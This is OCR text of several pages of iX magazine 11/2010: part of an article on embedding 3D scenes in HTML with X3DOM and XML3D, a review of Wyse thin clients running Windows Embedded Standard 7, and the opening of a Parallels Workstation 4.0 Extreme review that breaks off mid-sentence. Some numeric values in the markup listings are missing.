59 Die XML3D-Szene ist komplett in HTML eingebettet (Abb.ˇ3). bung abbildet und sich Bewegungen innerhalb der 3D-Szene anpasst also eine sogenannte Skybox mit Environment-Map, reichen die Möglichkeiten von CSS nicht mehr aus, da der Hintergrund über die gerade aktuelle Kameratransformation Bescheid wissen muss. Unten folgt dazu ein Beispiel. Betrachtet man Listingˇ1 genauer, stellt sich vielleicht die Frage, warum das Element <box> zur Darstellung eines Quaders nicht ausreicht. Das umschließende Element <scene> besagt hier lediglich, dass eine neue 3D-Szene definiert wird, und <shape> wiederum legt die konkrete Geometrie (hier eine <box>) sowie das Aussehen, das heißt die <appearance>, des Objekts fest. Über Materialien Glanzlichter setzen Statt mit einem <appearance>-element könnte man das Aussehen der Geometrieobjekte direkt über CSS festlegen. Allerdings ist CSS bisher primär für Text und einfache 2D-Objekte ausgelegt, sodass die Stylesheets für 3D-Objekte mit ihren komplexeren Materialien, die normalerweise über eine einfache Farbe oder Textur hin - ausgehen, nicht geeignet sind. Da die Browser aufgrund einer älteren W3C- Spezifikation keinen Zugriff auf ihnen unbekannte Properties erlauben, kann man den CSS-Style leider auch nicht um eigene Eigenschaften erweitern. In diesem einführenden Beispiel besteht die gesamte Appearance lediglich aus einer Textur. Wie schon im Artikel über WebGL kurz angesprochen, lassen sich durch die Texturierung eines Objekts interessante Farbgebungen erzielen. Die Texturierung wird einfach durch Hinzufügen des Elements <imagetexture> erreicht, dessen Attribut url die URL des als Textur zu verwendenden Bildes enthält (in diesem Fall das ix-logo). Alternativ zu dieser direkt aus X3D stammenden Notation erlaubt X3DOM eine näher an HTML angelehnte Notation, wie das folgende Quelltextfragment zeigt: <texture><img src="ix_logo.png"></texture> Auf diese Weise lassen sich auch Videos oder ein selbst definiertes Canvas- Element über die beiden in HTML5 neu eingeführten Elemente <video> und <canvas> als Textur einbinden. Neben dem eingangs erwähnten 3D- Rendering-Kontext stellt <canvas> schon seit Längerem eine 2D-API bereit. Zuletzt sei noch angemerkt, dass die Knotenbezeichner in X3D immer mit einem großen Buchstaben anfangen (etwa <ImageTexture>), während in HTML (im Gegensatz zu XHTML) allgemein solche Notationen etwas großzügiger ausgelegt werden können. Damit alle Objekte noch einen hübscheren Glanz bekommen, kann man zuletzt die Appearance der hier betrachteten Shape um einen Kindknoten namens <material> ergänzen, dessen ix 11/

60 TITEL 3D mit HTML5 Im Firefox lässt sich das Auto mithilfe von XML3D interaktiv konfigurieren (Abb.ˇ4). Attribut beziehungsweise, wie man in X3D sagt, dessen Feld specularcolor die RGB-Farbe des spekularen Highlights bestimmt. Alternativ zur gewohnten HTML-Notation (also statt gray oder #808080) lassen sich Farben in der für X3D üblichen auf 0 bis 1 normierten RGB-Notation angeben (zum Beispiel ). Darüber hinaus gibt es einige andere Materialeigenschaften wie diffusecolor, transparency oder shininess. Das folgende Codefragment zeigt, wie man ein einfarbig rotes Material mit weißem Glanzlicht erzeugen kann: Listing 2: XML3D-Szene mit ix-logo <material id="mat" diffusecolor="red" specularcolor="#808080"></material> Außerdem besteht die Möglichkeit, statt die vorgegebenen Standardmaterialien zu nutzen, über die Elemente <composedshader> und <shaderpart> eigene (GLSL-)Shader zu definieren. Das ist zwar flexibel, aber um diese Alternative tatsächlich sinnvoll nutzen zu können, benötigt der Anwendungsentwickler wiederum ein solides Grundverständnis von 3D-Grafik und speziell Shader-Programmierung. Es würde den Grundkonzepten von X3DOM widersprechen, solche Kenntnisse voraus - zusetzen, da die 3D-Darstellung im Browser Teil der Frontend-Entwicklung einer Website ist, die mit Techniken wie HTML, CSS, Ajax, JavaScript/DOM- Scripting und Flash realisiert wird. Wer dennoch Genaueres zum Thema Echtzeit-Rendering erfahren möchte, sei an dieser Stelle auf das Standardwerk Real-Time Rendering verwiesen [2]. Ein konkretes Shader-Beispiel findet sich auf dem X3DOM-Website [e]. Naturgemäß sind Materialien durch die Beschreibung von Reflexionseigenschaften vor allem im Zusammenspiel mit Lichtquellen interessant. X3DOM unterstützt derzeit die drei im Echtzeit- Rendering üblichen Lichtquellentypen... <style type="text/css">.boxmaterial { shader: url(#ixshader); } light { shader: url(#lightshader); } </style>... <div> <xml3d style="width: 320px; height: 240px; background-color: black;" activeview="#defaultview" xmlns=" 2009/xml3d" > <defs> <transform id="lighttransform" translation=" " /> <shader id="ixshader" script="urn:xml3d:shader:phong"> <float3 name="diffusecolor"> </float3> <float name="ambientintensity">0.2</float> <texture name="diffusetexture" wraps="clamp" wrapt="clamp"> <img src="ix_logo.png" /> </texture> </shader> <lightshader id="lightshader" script="urn:xml3d:lightshader:point"> <float3 name="intensity"> </float3> <float3 name="attenuation"> </float3> </lightshader> <data id="box" > <int name="index"> </int> <float3 name="position"> </float3> <float3 name="normal"> </float3> <float2 name="texcoord"> </float2> </data> </defs> <view id="defaultview" position=" " orientation=" " /> <group style="transform: url(#lighttransform);"> <light/> </group> <group class="boxmaterial"> <mesh src="#box" type="triangles" /> </group>... </xml3d> </div> Point-, Spot- und DirectionalLight. Per Default ist ein sogenanntes Headlight aktiviert, das man sich als eine Art am Helm befestigte Grubenlampe vorstellen kann. So sieht der Anwender beim Starten der Szene etwas mehr als einen schwarzen Hintergrund. Und wo Licht ist, da ist bekanntermaßen auch Schatten (siehe z. B. auf Abbildung 6 unten rechts). Letzterer lässt sich über das Attribut shadowintensity des Light-Tag aktivieren, wie das folgende Codebeispiel eines gerichteten Lichtes exemplarisch zeigt: <directionallight intensity="1.0" shadowintensity="0.7" direction="0-1 0"> </directionallight> Geometrietypen nach Bedarf definieren Erwartungsgemäß gibt es neben der Box weitere Geometrieknoten beziehungsweise Elemente, darunter <sphere>, <cone> und <cylinder>. Solche geometrischen Primitive sind zwar für erste Spielereien und einfache Szenen recht praktisch, aber im Allgemeinen möchte man ja auch beliebige Objekte darstellen können. Zur Definition arbiträrer Geometrien (beispielsweise für interaktive 3D-Produktmodelle wie bei einem Konfigurator für ein Auto) kann man daher stattdessen das <indexedface- Set>-Element verwenden, ein spezieller Geometrietyp, der neben den Arrays mit Eckpunkten (also den Vertices) des Modells solche für Farben, Normalen und Texturkoordinaten beinhaltet, einschließlich verschiedener Möglichkeiten, diese zu indizieren. Die Indizierung kann entweder als Single- oder Multi-Index-Mesh erfolgen. Während Ersteres den Vorteil hat, dass alle Vertexattribute direkt auf die GPU geladen werden können, da es nur ein Index-Array für alle Daten gibt, erlaubt Letzteres eine kompaktere Speicherung, was hinsichtlich geringerer Bandbreiten von Interesse ist. Indexed- FaceSets haben generell den Vorteil, dass alle gängigen Modellierprogramme (etwa 3ds Max von Autodesk) Exporter für VRML/X3D beinhalten, die 3D- Objekte als IndexedFaceSet-Knoten hin ausschreiben. Auch hierzu enthält ein Beispiel. Weitere Informationen zum Thema Content- Erstellung bietet der Server ebenfalls [f]. Etwas einfacher und hardware - näher ist das <indexedtriangleset> auf gebaut, das die Geometrie als Single- 60 ix 11/2010

61 Kulturinteressierte können den als XML3D-Demo in eine Wikipedia-Seite eingebetteten venezianischen Palast virtuell erforschen (Abb.ˇ5). Index-Dreiecksnetz repräsentiert. Ein Umsortieren der Indizes für die einzelnen Vertexattribute vor dem Rendering ist nicht notwendig, vielmehr kann eine Applikation die Daten sofort als VBO (VertexBufferObject) auf die GPU laden. Neben den fest vorgegebenen Vertexattributen also den Koordinaten, den für die Beleuchtungsrechnung notwendigen Normalen, den für Texturzugriffe erforderlichen Texturkoordinaten und eventuellen Vertexfarben kann der Webentwickler eigene Attribute (zum Beispiel Tangenten) für die Verwendung in selbst definierten Shadern angeben. Typen zur Gruppierung und Transformation, einschließlich CSS- Transforms und weiterführende Inter - aktionskonzepte, behandelt ein Folge - artikel in der nächsten ix. XML3D Das XML3D-Team hat ebenfalls verschiedene Implementierungen entwickelt, die das neue Format unterstützen. Besonderes Augenmerk lag dabei auf der direkten Erweiterung der Browser- Frameworks von Mozilla und WebKit, sodass diese zusätzlich XML3D-Szenen in einer Webseite darstellen können. Diese modifizierten Versionen stehen auf der Projekt-Webseite [h] zum Testen zur Verfügung. Das Team hat den aufwendigeren Weg über die Browsererweiterung gewählt, um das Potenzial und die Umsetzbarkeit von XML3D zu zeigen. Einfacherer wäre sicherlich die Implementierung als Plug-in gewesen, doch wäre dann eine Verwendung von 3D-spezifischen CSS-Eigenschaften nicht möglich, da sich die existierenden CSS-Eigenschaften auf diesem Wege nicht erweitern lassen. Das gilt auch für die Java Script/WebGL-Im - pleme ntie rung, die die neu eingeführten CSS-Eigenschaften daher nur als Attribut unterstützt. Listingˇ2 zeigt den Ausschnitt einer XML3D-Szene, eingebettet in HTML. Wie sie im Browser erscheint, zeigt Abbildungˇ3. Eine XML3D-Szene startet mit dem <xml3d>-element. Es definiert einen Bereich auf der Webseite, in dem der 3D-Inhalt erscheint. Da dieser Bereich Bestandteil des HTML- Box-Modells ist, lässt sich das <xml3d>-element mit den Standard- CSS-Ei genschaften beliebig modifizieren, beispielsweise absolut positionieren und in bestimmte Z-Ebenen legen, wodurch 3D-Objekte einfach vor oder hinter klassischen HTML-Elementen liegen können. Wie bei den HTML-Elementen ist der Hintergrund des <xml3d>- Elements standardmäßig transparent. Dadurch scheinen dahinter liegende Elemente der Webseite durch, solange keine 3D-Objekte sie verdecken. Da man transparente 2D-Objekte wiederum über das xml3d-element legen kann, können 3D-Objekte und -Szenen elegant in eine Webseite integriert werden. Dieses VeriX 11/

62 TITEL 3D mit HTML5 Eine Auswahl von mit X3DOM erstellten Anwendungen. Informationen zu den einzelnen Abbildungen enthält die X3DOM.org-Website (Abb.ˇ6). halten kann der Programmierer anpassen, indem er über die CSS-Eigenschaft Background explizit eine Farbe oder ein Bild setzt. Referenzen auf definierte Datensätze Wie in SVG (Scalable Vector Graphics) kann ein <defs>-bereich, der nicht direkt dargestellt wird, wichtige Ressourcen für die Szene definieren. Typischerweise sind das Shader, Transformationen und Daten-Kollektionen, die eine Anwendung aus der Szene heraus beliebig referenzieren und damit nutzen kann. Listingˇ2 definiert auf diese Weise zwei Transformationen, einen Shader und einen Licht-Shader für die spätere Nutzung. Das <data>-element spezifiziert einen Würfel als Dreiecksgitter. Das <mesh>-element, das standardmäßig ein Geometrie-Objekt definiert, referenziert in der Szene diesen Datensatz. Die Darstellung entspricht weitgehend einer serialisierten Form eines Open GL-VertexArray. Daher können die Daten effizient und ohne Konvertierung an die Grafikhardware Onlinequellen weitergegeben werden. Referenziert eine Anwendung den Datensatz direkt über das src-attribut, handelt es sich um eine Geometrie-Instanz, das heißt, um eine exakte Kopie. Um den Standard klein zu halten, definiert XML3D anders als X3DOM keine Primitive wie Box, Cone et cetera. Wie das Beispiel zeigt, können solche aber auch beliebig andere Primitive einmalig als Daten-Element spezifiziert mittels id="box" benannt und dann genau wie bei X3DOM beliebig wiederverwendet werden. Künftige Versionen werden auch die Referenzierung externer Datensätze über das src-attribut erlauben, wie es heute in HTML bei Bildern oder Videos üblich ist. Für das Gruppieren von Elementen innerhalb der Szene steht <group> zur Verfügung. Diesen Gruppen lassen sich über CSS Shader und Transformationen zuordnen (die Definition von Transformationen über CSS ist Thema des Folgeartikels in der nächsten ix). Über die CSS-Erweiterung shader lassen sich optische Materialeigenschaften an eine Gruppe binden. Wie in CSS üblich, läuft die Zuweisung dieser Eigenschaften über das style-attribut oder einen der CSS-Selektoren. Das Rendering erfolgt für alle Kinder der Gruppe mit dem referenzierten Shader, sofern nicht eine andere CSS-Zuordnung eines darunterliegenden Gruppenknotens diese Referenz überschreibt. Der Überschreibungsmechanismus funktioniert analog zu dem für 2D-CSS-Eigenschaften gültigen. Das Beispiel weist dem Würfel das Material über den Klassenselektor boxmaterial zu. Shader sollen portabel werden Ein Shader bestimmt die Material - eigenschaften einer Geometrie. In Listingˇ2 definiert das <shader>-element eine Liste beliebiger Parameter, und seine Instanz verweist über das script- Attribut auf den Code, der ausgeführt werden soll. Die Beispielanwendung referenziert über einen Uniform Resource Name (URN) einen der vier Standard-Shader mit vordefinierter Funktion. Alternativ können hier Referenzen auf <script>-elemente stehen, die den Code für programmierbare Shader enthalten allerdings erst in der [a] X3DOM [b] X3D-Spezifikation [c] Aktuelle XML3D-Spezifikation graphics.cs.uni-sb.de/fileadmin/cguds/projects/xml3d/ specification/ [d] InstantPlayer [e] X3DOM-Beispiele für ix x3dom.org/ix/ [f] X3DOM: Content creation [g] XML3D xml3d.org [h] XML3D-Beispiele für ix graphics.cs.uni-sb.de/fileadmin/cguds/projects/xml3d/ix/ [i] AnySL-Framework [j] RenderMan Shading Language renderman.pixar.com/products/whats_renderman/index.html 62 ix 11/2010

63 nächsten Release von XML3D. Das gleichzeitig entwickelte AnySL-Framework [i] wird es dann erstmals erlauben, Shader in ein portables Format zu übersetzen, das unabhängig von der Shader-Sprache, dem Rendering-System und der Grafikhardware ist. So wird es möglich sein, im Netz ganze Materialbibliotheken zu erstellen, auf die man aus einer XML3D-Datei her - aus einfach verweisen kann. Zur Laufzeit übersetzt ein Just-intime-Compiler den Quelltext für den verwendeten Renderer und die verfügbare Hardware. Dabei wird der Code optimiert, parallelisiert und eingebunden. Auf diese Weise kann man Shader beispielsweise in der in der Filmindustrie häufig verwendeten RenderMan Shading Language [j] schreiben, und Rasterisierer wie OpenGL können sie trotzdem verwenden. Aber auch die Effekte von Raytracing können nativ unterstützt und beschrieben werden. Webautoren können in der XML3D- Szene außerdem Lichter und den Standort für die aktive Kamera festlegen. Den aktiven Standpunkt definiert ein <view>-element, das das Attribut activeview des xml3d-elements referenziert. Die <view>-attribute kann der Autor per JavaScript modifizieren und so die aktive Kameraposition ändern. Auf diese Weise kann er nach Belieben festlegen, wie die Navigation in der 3D-Szene verlaufen soll. Für Standard-Navigationsarten steht eine Java - Script-Bibliothek zur Verfügung. Die Definition von Lichtquellen erfolgt analog zu der der Shader. Position und Orientierung des Lichts ermittelt das System über die Position eines <light>-elements in der Gruppenhierarchie. Dieses Licht-Element referenziert einen Shader, der die Attribute setzt und auf ein Licht-Shader-Skript verweist. Im Moment unterstützen die XML3D-Implementierungen die drei gängigen Arten von über eine URN definierten Lichtquellen. Diese entsprechen weitgehend den Lichtquellen, die das X3DOM-System verwendet. Fazit Beide Systeme zeigen, wie gut sich 3D- Inhalte in den DOM integrieren lassen und wie einfach es dadurch für Webprogrammierer wird, dreidimensionale Szenen in Webseiten einzubetten. Die vorgestellten Beispiele sind natürlich sehr einfach gehalten. Dass sich auch komplexe 3D-Webapplikationen realisieren lassen, zeigen die Abbildungenˇ3 bis 5. Weitere Anwendungen finden sich jeweils auf den Projekt-Webseiten. Wie viel Ähnlichkeit die Ergebnisse der verschiedenen Ansätze aufweisen und dass sich eine Harmonisierung anbietet, machen schon diese einfachen Beispiele deutlich. In der kommenden Ausgabe der ix wird auf die Manipulation der 3D-Szene im DOM, auf Animationen und die Programmierung von Interaktion eingegangen. Durch die Verwendung von JavaScript und DOM-Scripting, DOM- Events sowie CSS3 ist dies in beiden System genauso einfach zu realisieren wie für normale Webseiten ohne zusätzlichen 3D-Content. (ka) DR.-ING. JOHANNES BEHR leitet den Projektbereich VR am Fraunhofer IGD in der Abteilung für Virtuelle und Erweiterte Realität. YVONNE JUNG arbeitet als wissenschaftliche Mitarbeiterin am Fraunhofer IGD in der Abteilung für Virtuelle und Erweiterte Realität. PROF. DR. ING. PHILIPP SLUSALLEK ist Professor für Computergrafik an der Universität des Saarlandes, Wissenschaftlicher Direktor am DFKI und Direktor des Intel Visual Computing Instituts in Saarbrücken. KRISTIAN SONS arbeitet im Forschungsbereich Agenten und Simulierte Realität am DFKI und ist Projektleiter für XML 3D. Literatur [1]ˇDon Brutzman, Leonard Daly; X3D: Extensible 3D Graphics for Web Authors; Morgan Kaufmann 2007 [2]ˇTomas Akenine-Möller, Eric Haines, Naty Hoffmann; Real-Time Rendering; A K Peters x ix 11/

64 REVIEW Thin-Client-Betriebssystem Wyses Thin Clients mit neuem Embedded-Windows Siebenzahl Bernd Kretschmer Nach den neuen Windows-Versionen für Server und Desktops hat Microsoft im April 2010 Win dows Embedded Standardˇ7 heraus - gebracht. Als einer der Ersten setzt Wyse das neue Betriebssystem auf seinen Thin Clients ein. Microsoft verkauft Windows Embedded Standardˇ7 (WESˇ7) in den drei Stock Keeping Units (SKU) WS7E, WS7P und WS7C wie seine anderen Embedded-Systeme nicht an Endkunden, sondern nur an Gerätehersteller. Die Varianten enthalten unterschiedliche Teilmengen an Komponenten. Entwickler hingegen können Windows Embedded Standardˇ7 als komplettes Paket von Microsofts Webseite herunterladen. Sie finden in Microsofts Developer Network einen Baukasten, bestehend aus je sechs respektive sieben Dateien für WESˇ7 in der 32- und 64-Bit-Version und weitere acht für die Werkzeugkiste, jede, bis auf die letzte im Reigen, fast ein halbes Gigabyte groß. Wyse bedient sich für seine Thin Clients der WS7E Enterprise SKU. Die Unterschiede zwischen den Produkten bestehen in erster Linie in den Ausstattungen, die der jeweiligen Hardwareumgebung entsprechen [a]. Professional enthält den kompletten Funktionsumfang: Multitouch-Gesten, verbesserten Sperrungen, angereicherte Medienfunktionen und effiziente Netzwerkverwaltung. WS7C steht offenbar für Consumer. Damit will Microsoft den Heimanwender erreichen mit Playbackfunktionen für Medien und zusätzlichen Optionen für elektronische Unterhaltungsgeräte. Der Sprung von Windows XP auf 7 WESˇ7 gehört in den Reigen der Betriebssysteme von Microsoft, die als Grundlage Windowsˇ7 verwenden. Es nutzt deren gemeinsame Programm - bestandteile, Treiberbibliotheken und Zusatzprogramme wie Internet Explorerˇ8, Silverlight und Media Playerˇ12. Man kann deshalb den Vergleich mit einem PC-Arbeitsplatz mit Windowsˇ7 heranziehen. Viele Unternehmen haben sich erst mit dieser Betriebssystemversion für einen Umstieg entschieden und Vista übersprungen. Anwendersitzungen von virtuellen Windows-7- und von Remote-Desktops (Terminaldiensten) auf Windows Server 2008 R2 bezieht WESˇ7 (Stand Oktober 2010) über das Remote Desktop Protocol 7.1 (RDP 7.1). Systemverantwortliche können bei Thin Clients den Vorgänger WES 2009 RDPˇ6 durch RDPˇ7 [b] sowie den Internet Explorer und den Media Player durch die jeweils aktuellen Versionen ersetzen. Thin Clients mit anderen Betriebssystemen wie Linux können RDPˇ7 oder 7.1 nicht nutzen, da Microsoft durch seine Lizenzbestimmungen das Reengineering behindert. Alt und neu: Neben einem DVI-Anschluss für den Monitor und dem für die WLAN-Antenne gibt es zwei für PS/2-Tastatur und -Maus (Abb. 1). Windows Embedded Standard WESˇ2009 WESˇ7 unterstützte Prozessoren x86 x86 und x64 Speicherbedarf Mindestbedarf RAM 256 MB 512 MB Bedarf Flash 126 MByte 1 GByte Power Management nein ja Windows-Komponenten Silverlight V3.0 V4 Internet Explorer IE 7 IE 8 Windows Media Player V11 V12.Net Framework V3.0 V3.5 SP1 Remote Desktop Protocol RDP 6.1 RDP 7.1 Aero Glass und Aero Hintergrund nein ja Windows Touch (Multitouch) nein nur WS7P Gerätetreiber ca einzelne ca. 400 Treiber-Pakete Sprachpakete mehrere sprachneutrales File Based Write Filter ja ja 64 ix 11/2010

65 ix 11/

66 REVIEW Thin-Client-Betriebssystem Raumaufstellung: Das lokale 3D-Fensterln mit Aero kann sich selbst der Administrator mit WESˇ7 gönnen. Produkti - vitätssteigernd ist es kaum (Abb. 2). Mit WESˇ7 kommen Anwender bei lokalen Anwendungen und in Remote- Sitzungen in den Genuss transparenter Effekte bei der Darstellung der Bildschirmfenster und dürfen mit der Tastenkombination Windows-Tab die 3D-Navigation von Aero nutzen (siehe Abbildungˇ2). Es setzt Windows-7-Code voraus, bleibt somit Anwendern versagt, die mit älteren oder anderen Betriebssystemen arbeiten müssen. Zwar trägt diese erweiterte Benutzerschnittstelle namens Aero Glass kaum zur Produktivität am Arbeitsplatz bei, könnte aber einer Rolle spielen, wenn Anwender am Thin Client denselben Desktop erwarten wie auf ihrem Win dowsˇ7 PC. Selbst der Administrator kann sich x-wertung *ˇThin Clients mit aktuellem OS *ˇhöhere Leistung und mehr Ressourcen *ˇaktuelle Windows-Arbeitsumgebung _ˇinkonsistente Nationalisierung Daten und Preise C90LE7 1-GHz-CPU von VIA; 2ˇGByte Hauptspeicher, 4ˇGByte Flash; DVI-I (Splitter-Kabel optional), vier USB, Audio-in/out, zwei PS/2, 1GB-BaseT, WLAN optional; 18ˇxˇ12ˇxˇ3,5 cm 2 ; 6,6ˇW Software: IE8, RDP 7.1, View Anbieter/Hersteller: Wyse, Preis: 527 Euro (brutto, Teststellung) Aeros bedienen, und Remote-Desktops von Windows 2008 R2 bieten mit etwas Anpassung auf dem Server ebenfalls diese Spielart [d]. Touchscreen im Büro ist selten sinnvoll Neu in WESˇ7 ist wie bei Windowsˇ7 die Zweifinger-Steuerung der Maus auf Multitouch-Screens. Da das Testgerät keinen solchen Bildschirm besitzt und keinen Anschluss an einen solchen vorsieht, entfällt der Test der Funktion, die zudem im Büroalltag kaum infrage kommen dürfte. Ein wichtiges Kriterium für eine Kaufentscheidung ist die Dauer des Supports. Microsoft will den für das gerade erst ein Jahr junge WESˇ2009 aus der XP-Familie Ende 2014 auslaufen lassen ebenso wie für die anderen XP-Versionen. Für Unternehmen, die Onlinequellen [a] WES7 SKUs en-us/products/westandard/componentlibrary.mspx [b] RDP 7 für XP support.microsoft.com/kb/ [c] Wyse ThinClients mit WES thinclients/ [d] Windows 2008 Server R2 mit Aero blogs.msdn.com/b/rds/archive/2009/ 06/23/aero-glass-remoting-in-windowsserver-2008-r2.aspx bisher Thin Clients meist doppelt so lange wie PCs eingesetzt haben, ist das ein zu kurzer Zeitraum. Aus Sicht der Entwickler und Administratoren bietet WESˇ7 dieselben Vorteile wie WES 2009 zusätzlich aber neue Funktionen (siehe Tabelle Win - dows Embedded Standard ). Wie sein Vorgänger ist es in Komponenten zerlegt, die OEMs nach Bedarf zusammenfügen können. Da WESˇ7 aus Windowsˇ7 abgeleitet ist, erleichtert das Updates und sichert die Versorgung mit Gerätetreibern. Microsofts Entwickler haben Windowsˇ7 von der nationalen Sprachabhängigkeit befreit. Weltweit operierende Unternehmen können spezielle Zusatzfunktionen leichter einbinden. APIs zur Energieverwaltung vereinfachen für Gerätehersteller den Bau Strom sparender Geräte. Ressourcenbedarf im Vergleich Thin Clients für WESˇ7 benötigen aber im Vergleich zu WESˇ2009 deutlich mehr Arbeits- und Flash-Speicher, unter anderem weil eine Reihe neuer Funktionen hinzugekommen sind. Wyse hatte im September 2010 drei WES-7-Thin-Clients [c] angekündigt, die Anfang Oktober auf den Markt gekommen sind. Den kleinsten, C90LE7 mit einem 1-GHz-Prozessor von VIA, konnte die Redaktion seit Ende August testen. Das Gerät ist für die Montage hinter dem Monitor konzipiert. Wie seine beiden Geschwister, der deutlich größere R90L7 mit AMDs Sempron und der mobile Thin Client X90C7 mit 66 ix 11/2010

67 Gepackt: Im Inneren des Gehäuses liegen die Module dicht gedrängt beieinander; die Abschirmung dient zugleich als Kühlfläche. Zum Einbau hinter dem Monitor lassen sich die Füße einfach abziehen (Abb. 3). Intels Atom-CPU-Prozessor, hat er für das circa 2,4 GByte große Betriebs - system-image 4ˇGByte Flash-Speicher und 2ˇGByte Arbeitsspeicher. Das sollte laut Wyse auch für die nächsten Service Packs für Windowsˇ7/WESˇ7 einschließlich Remote FX ausreichen. Zum Vergleich: Die bis auf das Betriebs system baugleichen Thin Clients C90LEW und R90LEW für WESˇ2009 liefert Wyse ab je 1ˇGByte Arbeitsspeicher und Flash aus. Zum zentralen Verwalten der WES- 7-Geräte bietet Wyse wie bisher die kostenlose Workgroup Edition und die Enterprise Edition seines Device Managers. Vor lokalem Verwalten des Geräts drückt man beim (Neu-)Start die Umschalttaste, um die Administrator-Rolle auszuwählen. Bei noch nicht konfigurierten Geräten loggt man sich als Administrator auf US-englischen Tastaturen mit dem Passwort Wyse#123 ein. Sobald der lokale Verwalter die Schreibsperre für die Dateien über ein spezielles rotes Desktop-Icon aufgehoben hat, kann er Anwendungen wie auf einem Windows-7-PC einrichten und parametrieren. Bevor er Anwender am Thin Client arbeiten lässt, muss er den Schreibschutz über ein grünes Desktop-Icon wieder einschalten und das Gerät nach einem automatischen Neustart wieder für den normalen Betrieb sichern. Das kleine Terminal hat sich beim wochenlangen Dauerbetrieb nicht überhitzt. Bei mehrere gleichzeitigen An - wendersitzungen verschlechtert sich das Antwortverhalten nicht (bei gleichzeitig laufenden drei RDP-Sitzungen und drei Browsersitzungen einschließlich Youtube-Videos). WESˇ7 dürften inzwischen alle namhaften Thin-Client-Hersteller ernst nehmen. HP hat seine Thin Clients mit WESˇ7 Anfang Oktober vorgestellt und will ab Ende November 2010 liefern können. Selbst die bisher stärker im Linux-Bereich vertretenen Hersteller IGEL und VXL wollen im Jahr 2011 dabei sein. Fazit Microsoft stellt die Hersteller und Betreiber von Geräten mit Windows Embedded Standard noch vor die Wahl zwischen WES 2009 und WESˇ7. Damit ist aber ab 2014 Schluss. Zudem stehen mit WESˇ7 neue Features zur Verfügung, die Mitarbeitern die vom PC her vertraute Windows-7-Umgebung bieten, was die Akzeptanz von Thin Clients erhöhen dürfte. Unternehmen, die Win - dowsˇ7 samt Windows Server 2008 R2 einführen wollen, können mit WESˇ7 eine homogene Umgebung aufbauen. Wyse bietet mit seinen Thin Clients die dazu passenden Arbeitsgeräte. (rh) BERND KRETSCHMER arbeitet als freier Journalist, Fachbuchautor und Trainer im Bereich Client Computing. x ix 11/

68 REVIEW Grafik Parallels Workstation 4.0 Extreme für Windows und Linux Durchreiche Fred Hantelmann Das Handicap fast aller virtuellen Systeme ist bis dato die Grafikleistung, denn die Software vermittelt in der Regel nur simple Pseudo-Karten, die allenfalls für normale Desktops reichen. Parallels will mit seiner neuen Workstation 4.0 Extreme Abhilfe schaffen. Virtuelles bildet heute in vielen Rechenzentren die strategische Hardwarebasis, und Hersteller von Produkten zum Thema propagieren Schlagwörter, mit denen sie ihre Überlegenheit gegenüber der Konkurrenz manifestieren wollen. Eine erste Abgrenzung bildet die Architektur des Hypervisor, wobei Typ-1, genannt Bare Metal, dank der Nähe zur Hardware eine höhere Effizienz als das auf ein Betriebssystem aufsetzende Typ-2-Pen - dant bietet. Bezogen auf die CPU-Leistung hat ix schon vor vier Jahren [1] diese Behauptung untermauern können. In einer Testreihe erreichten die Typ-1- Virtualisierer eine reine Rechenleistung im Gast von bis zu 99ˇ% des Wirts. Mit 93 bis 97ˇ% fielen die damals verfügbaren Typ-2-Varianten nicht dramatisch schlechter aus. Ergänzend greift das Marketing seither zu weiteren Kriterien wie bessere Ressourcenaufteilung und strengere Isolation der Gäste, um dem geneigten Kunden die alleinige Berechtigung von Bare-Metal-Virtualisierern einzureden. Grafikansprüche für Gastsysteme Trotz zahlreicher Optimierungen im Detail wussten die Hersteller mehrheitlich auf einen Wunsch bisher scheinbar keine brauchbare Antwort: zeitgemäße Grafikleistung im Gast. Deren hat sich NVIDIA angenommen. Im März 2009 präsentierte der Hersteller sein Scalable Link Interface (SLI) in Multi-OS -Technik: Workstations, die mit zwei Grafikkarten der Quadro-Serie ausgestattet sind, nutzen den einen Grafikprozessor selbst und können den anderen einem virtuellen Gast bereitstellen. Parallels nutzt das Verfahren in seinem Produkt Workstation 4.0 Extreme. Es ist für 64-Bit-Desktops von Microsoft (Windows XP, Vista und 7) sowie Red Hat (Enterprise Linux ) lieferbar. Erforderliche Hardware vor - aussetzungen knüpft Parallels an ein Mainboard mit CPUs aus Intels 5500eroder 5600er-Serie, x58- oder Chipset mit Virtualization Technology for Devices (VT-d) und mindestens einer Grafikkarte von NVIDIA ab Quadro FX 1800 und aufwärts oder ATI/ AMD Fine Pro RG 220. Wer von der beschleunigten Grafikleistung profi - tieren will, muss VT-x (Intels VT in x86/64-prozessoren [2]) und VT-d im BIOS des Mainboard aktivieren. Das skalierbare Link-Interface (SLI) kennt außerdem noch den Rendering-Modus, in dem eine Anwendung die gekoppelten Grafik-Engines allein nutzen kann. ix hat die Version auf einer Celsius M470 von Fujitsu mit Win - dowsˇ7 Professional als Gastgeber getestet. Die M470 war mit zwei W3520- CPUs von Intel (Bloomfield, ark.intel.com/search.aspx?q=w3520), 6ˇGByte RAM und zwei unterschiedlichen Grafik karten, einer Quadro FX 580 und einer 3800, ausgestattet. Den Massenspeicher stellte eine Velocity Raptor WD1500hlfs von Western Digital. Von der 150 GByte Bruttokapazität standen 60 GByte dem Betriebssystem nebst Anwendungen zur Verfügung, 80 GByte waren für virtuelle Festplatten der Gäste vorgesehen. In erster Linie geht es um die Grafikleistung, die der Anwender im Gast erhält. Dazu mussten sich Parallels Gäste unter Windows XP, Vista, Win dows 7 und einem RHEL-5.3-Clone der SPEC - 68 ix 11/2010

69 viewperf-11-suite stellen. Abgesehen von kleineren Hakeleien beim Untertest maya einem Anima tions-benchmark mit Geometriemodellen aus bis zu 66 Millionen Ecken liefen die Tests in jeder Variante komplett durch. Warum es bei Windowsˇ7 trotz der mit Vista identischen Treiber von NVIDIA zu Aussetzern kam, war nicht zu erklären. Fastlane liefert schnelle Grafik Um das Ergebnis vorwegzunehmen: Parallels erreicht mit seiner Fastlane genannten Technik bisher unerreichte grafische Leistung in virtuellen Gästen. Die Bildraten im Viewperf lagen je nach Test bei 72 bis 99ˇ% der auf nativer Hardware gemessenen Werte. Dabei fanden bewusst keine Optimierungen statt, um eine typische Endkunden - situation zu simulieren. Umgekehrt zeigte sich erneut [1], dass der Test neben der Hardware eigentlich die Qualität der Grafiktreiber untersucht. Das dürfte der Grund sein, warum ein Linux-Gast in fünf von acht Benchmarks höhere Drehzahlen erreicht als das Wirts-OS (siehe Seite 70). In der Praxis spielt es vor allem eine Rolle, im Gast mit einer vollwertigen Grafikkarte arbeiten zu können mit Geometrie-Engine, Texturing, Lightning, Anti-Aliasing und so weiter. Wer transparente Fenster wünscht ein Merkmal von Windows Aero, erhält sie per se mit 